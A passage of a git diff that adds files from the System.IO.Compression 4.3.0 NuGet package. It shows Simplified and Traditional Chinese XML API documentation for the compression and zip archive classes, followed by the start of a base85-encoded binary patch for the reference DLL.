available because the entry has been modified. + + + 删除 zip 存档中的项。 + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + 获取 zip 存档中的项的相对路径。 + 在 zip 存档中的项的相对路径。 + + + 获取或设置最近一次更改 zip 存档中的项的时间。 + 最近一次更改 zip 存档中的项的时间。 + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + 获取 zip 存档中的项的未压缩大小。 + 在 zip 存档中的项的未压缩大小。 + The value of the property is not available because the entry has been modified. + + + 获取在 zip 存档中的项的文件名。 + 在 zip 存档中的项的文件名。 + + + 打开 zip 存档中的项。 + 表示项的内容的流。 + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + 检索 zip 存档中项的相对路径。 + 项的相对路径，即存储在 属性中的值。 + + + 指定与 zip 存档项互交的值。 + + + 只允许创建新存档项。 + + + 只允许读取存档项。 + + + 存档项允许读取和写入操作。 + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/zh-hant/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/zh-hant/System.IO.Compression.xml new file mode 100644 index 0000000..e14f0da --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/zh-hant/System.IO.Compression.xml @@ -0,0 +1,432 @@ + + + + System.IO.Compression + + + + 指定值，這個值表示壓縮作業會強調速度還是壓縮大小。 + + + 即使不能有效壓縮所產生的檔案，應該儘速完成壓縮作業。 + + + 不應該對檔案執行壓縮。 + + + 壓縮作業應該會進行最佳化壓縮，即使該作業耗費更長的時間才能完成。 + + + 指定是要壓縮還是要解壓縮基礎資料流。 + + + 壓縮基礎資料流。 + + + 解壓縮基礎資料流。 + + + 提供方法和屬性，以透過 Deflate 演算法來壓縮和解壓縮資料流。 + + + 使用指定的資料流和壓縮層級，初始化 類別的新執行個體。 + 要壓縮的資料流。 + 其中一個列舉值，指出當壓縮資料流時是否要強調速度或壓縮的效益。 + + 為 null。 + 資料流不支援寫入作業，例如壓縮。(資料流物件上的 屬性是false)。 + + + 使用指定的資料流和壓縮層級，初始化 類別的新執行個體，並選擇性地保持開啟資料流。 + 要壓縮的資料流。 + 其中一個列舉值，指出當壓縮資料流時是否要強調速度或壓縮的效益。 + true 表示在處置 物件之後，將資料流物件保持開啟；否則為 false。 + + 為 null。 + 資料流不支援寫入作業，例如壓縮。(資料流物件上的 屬性是false)。 + + + 使用指定的資料流和壓縮模式，初始化 類別的新執行個體。 + 要壓縮或解壓縮的資料流。 + 其中一個列舉值，表示要壓縮還是解壓縮資料流。 + + 為 null。 + + 不是有效的 值。-或- 是 ，而 是 false。-或- 是 ，而 是 false。 + + + 使用指定的資料流和壓縮模式，初始化 類別的新執行個體，並選擇性地保持開啟資料流。 + 要壓縮或解壓縮的資料流。 + 其中一個列舉值，表示要壓縮還是解壓縮資料流。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + + 為 null。 + + 不是有效的 值。-或- 是 ，而 是 false。-或- 是 ，而 是 false。 + + + 取得基礎資料流的參考。 + 資料流物件，表示基礎資料流。 + 已關閉基礎資料流。 + + + 取得值，指出在解壓縮檔案時，資料流是否支援讀取。 + 如果 值為 Decompress，且基礎資料流處於開啟狀態並支援讀取，則為 true；否則為 false。 + + + 取得值，指出資料流是否支援搜尋。 + 所有情況下都是 false。 + + + 取得值，指出資料流是否支援寫入。 + 如果 值為 Compress，並且基礎資料流支援寫入，且不處於關閉狀態，則為 true；否則為 false。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 這個方法目前的實作沒有任何功能。 + 已關閉資料流。 + + + + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 這個資料流不支援這個屬性。 + + + + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 這個資料流不支援這個屬性。 + + + + + + 將大量解壓縮的位元組讀入指定的位元組陣列。 + 已讀入至位元組陣列的位元組數。 + 用於儲存解壓縮位元組的陣列。 + 要在其中放置讀取位元組之 的位元組位移。 + 要讀取的最大解壓縮位元組數。 + + 為 null。 + 建立物件時， 的值為 Compress。-或- 基礎資料流不支援讀取。 + + 或 小於零。-或- 長度減去索引起點小於 。 + 資料的格式無效。 + 已關閉資料流。 + + + 這個作業不受支援，而且一律會擲回 。 + 長整數值。 + 在資料流中的位置。 + 其中一個 值。 + 這個資料流不支援這個屬性。 + + + 這個作業不受支援，而且一律會擲回 。 + 資料流的長度。 + 這個資料流不支援這個屬性。 + + + 從指定的位元組陣列將壓縮的位元組寫入基礎資料流。 + 包含要壓縮之資料的緩衝區。 + + 中的位元組位移，即讀取位元組的來源位置。 + 寫入的最大位元組數。 + + + 提供用於壓縮和解壓縮資料流的方法和屬性。 + + + 使用指定的資料流和壓縮層級，初始化 類別的新執行個體。 + 要寫入壓縮資料的資料流。 + 其中一個列舉值，指出當壓縮資料流時是否要強調速度或壓縮的效益。 + + 為 null。 + 資料流不支援寫入作業，例如壓縮。(資料流物件上的 屬性是false)。 + + + 使用指定的資料流和壓縮層級，初始化 類別的新執行個體，並選擇性地保持開啟資料流。 + 要寫入壓縮資料的資料流。 + 其中一個列舉值，指出當壓縮資料流時是否要強調速度或壓縮的效益。 + true 表示在處置 物件之後，將資料流物件保持開啟；否則為 false。 + + 為 null。 + 資料流不支援寫入作業，例如壓縮。(資料流物件上的 屬性是false)。 + + + 使用指定的資料流和壓縮模式，初始化 類別的新執行個體。 + 寫入壓縮或解壓縮資料的資料流。 + 其中一個列舉值，表示要壓縮還是解壓縮資料流。 + + 為 null。 + + 不是有效的 列舉值。-或- 是 ，而 是 false。-或- 是 ，而 是 false。 + + + 使用指定的資料流和壓縮模式，初始化 類別的新執行個體，並選擇性地保持開啟資料流。 + 寫入壓縮或解壓縮資料的資料流。 + 其中一個列舉值，表示要壓縮還是解壓縮資料流。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + + 為 null。 + + 不是有效的 值。-或- 是 ，而 是 false。-或- 是 ，而 是 false。 + + + 取得基礎資料流的參考。 + 資料流物件，表示基礎資料流。 + 已關閉基礎資料流。 + + + + + + 取得值，指出在解壓縮檔案時，資料流是否支援讀取。 + 如果 值為 Decompress,，並且基礎資料流支援讀取，且不處於關閉狀態，則為 true；否則為 false。 + + + + + + 取得值，指出資料流是否支援搜尋。 + 所有情況下都是 false。 + + + 取得值，指出資料流是否支援寫入。 + 如果 值為 Compress，並且基礎資料流支援寫入，且不處於關閉狀態，則為 true；否則為 false。 + + + + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 這個方法目前的實作沒有任何功能。 + 已關閉資料流。 + + + + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 這個資料流不支援這個屬性。 + + + + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 這個資料流不支援這個屬性。 + + + + + + 將大量解壓縮的位元組讀入指定的位元組陣列。 + 解壓縮至位元組陣列的位元組數。如果已達到資料流的結尾，則會傳回零或位元組數。 + 用於儲存解壓縮位元組的陣列。 + 要在其中放置讀取位元組之 的位元組位移。 + 要讀取的最大解壓縮位元組數。 + + 為 null。 + 建立物件時， 的值為 Compress。-或-基礎資料流不支援讀取。 + + 或 小於零。-或- 長度減去索引起點小於 。 + 資料的格式無效。 + 已關閉資料流。 + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 在資料流中的位置。 + 其中一個 值。 + 這個資料流不支援這個屬性。 + + + 這個屬性不受支援，而且一律會擲回 。 + 資料流的長度。 + 這個資料流不支援這個屬性。 + + + 從指定的位元組陣列將壓縮的位元組寫入基礎資料流。 + 包含要壓縮之資料的緩衝區。 + + 中的位元組位移，即讀取位元組的來源位置。 + 寫入的最大位元組數。 + 無法執行寫入作業，因為資料流已關閉。 + + + 代表 zip 封存格式的壓縮檔封裝。 + + + 從指定的資料流，初始化 類別的新執行個體。 + 包含要讀取之封存的資料流。 + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + 使用指定的模式，從指定的資料流初始化 類別的新執行個體。 + 輸入或輸出資料流。 + 其中一個列舉值，指出是否使用 zip 封存讀取、建立或更新項目。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 在指定之模式的指定資料流上，初始化 類別的新執行個體，並選擇性地保留資料流開啟狀態。 + 輸入或輸出資料流。 + 其中一個列舉值，指出是否使用 zip 封存讀取、建立或更新項目。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 在指定模式的指定資料流上，初始化 類別的新執行個體，使用項目名稱的指定編碼方式，並選擇性地保留資料流開啟狀態。 + 輸入或輸出資料流。 + 其中一個列舉值，指出是否使用 zip 封存讀取、建立或更新項目。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + 在此封存中讀取或寫入項目名稱時要使用的編碼方式。只有需要編碼以與 Zip 封存工具和程式庫互通，且這類工具和程式庫不支援項目名稱使用 UTF-8 編碼時，才指定此參數的值。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 在 zip 封存中建立具有指定之路徑和項目名稱的空項目。 + Zip 封存中的空項目。 + 指定要建立之項目名稱的路徑 (相對於封存的根目錄)。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 在 zip 封存中建立具有指定之項目名稱和壓縮等級的空項目。 + Zip 封存中的空項目。 + 指定要建立之項目名稱的路徑 (相對於封存的根目錄)。 + 其中一個列舉值，指出建立項目時是否要強調速度或壓縮的效益。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 將 類別目前的執行個體所使用的資源釋出。 + + + 由 和 方法呼叫以釋放 類別之目前執行個體所使用的 Unmanaged 資源，並選擇性完成封存的寫入以及釋放 Managed 資源。 + true 表示完成寫入封存並釋放 Managed 和 Unmanaged 資源，false 表示只釋放 Unmanaged 資源。 + + + 取得目前 zip 封存中所包含項目的集合。 + 目前 zip 封存中所包含項目的集合。 + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + 在 zip 封存中擷取指定項目的包裝函式。 + 封存中指定項目的包裝函式，如果項目不存在於封存中則為 null。 + 識別要擷取之項目的路徑 (相對於封存的根目錄)。 + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + 取得值，描述 zip 封存可以在項目上執行的動作類型。 + 其中一個列舉值，其描述 zip 封存可以在項目上執行的動作類型 (讀取、建立或更新)。 + + + 表示 zip 封存中的壓縮檔。 + + + 取得項目所屬的 zip 封存。 + 項目所屬的 Zip 封存，如果已刪除項目，則為 null。 + + + 取得 Zip 封存中的項目壓縮大小。 + Zip 封存中項目的壓縮大小。 + The value of the property is not available because the entry has been modified. + + + 從 zip 封存中刪除項目。 + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + 取得 Zip 封存中的項目相對路徑。 + Zip 封存中的項目相對路徑。 + + + 取得或設定上次變更 zip 封存中之項目的時間。 + 上次變更 zip 封存中之項目的時間。 + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + 取得 Zip 封存中的項目未壓縮大小。 + Zip 封存中的項目未壓縮大小。 + The value of the property is not available because the entry has been modified. + + + 取得 Zip 封存中的項目檔名。 + Zip 封存中的項目檔名。 + + + 從 zip 封存中開啟項目。 + 代表此項目內容的資料流。 + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + 擷取 Zip 封存中項目的相對路徑。 + 項目的相對路徑，其為儲存在 屬性中的值。 + + + 指定與 zip 封存項目互動的值。 + + + 僅允許建立新的封存項目。 + + + 僅允許讀取封存項目。 + + + 封存項目允許讀取及寫入作業。 + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/System.IO.Compression.dll b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/System.IO.Compression.dll new file mode 100644 index 0000000000000000000000000000000000000000..6de132f297f72fad498bf5e0e0a16ecb07ae53c1 GIT binary patch literal 24280 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 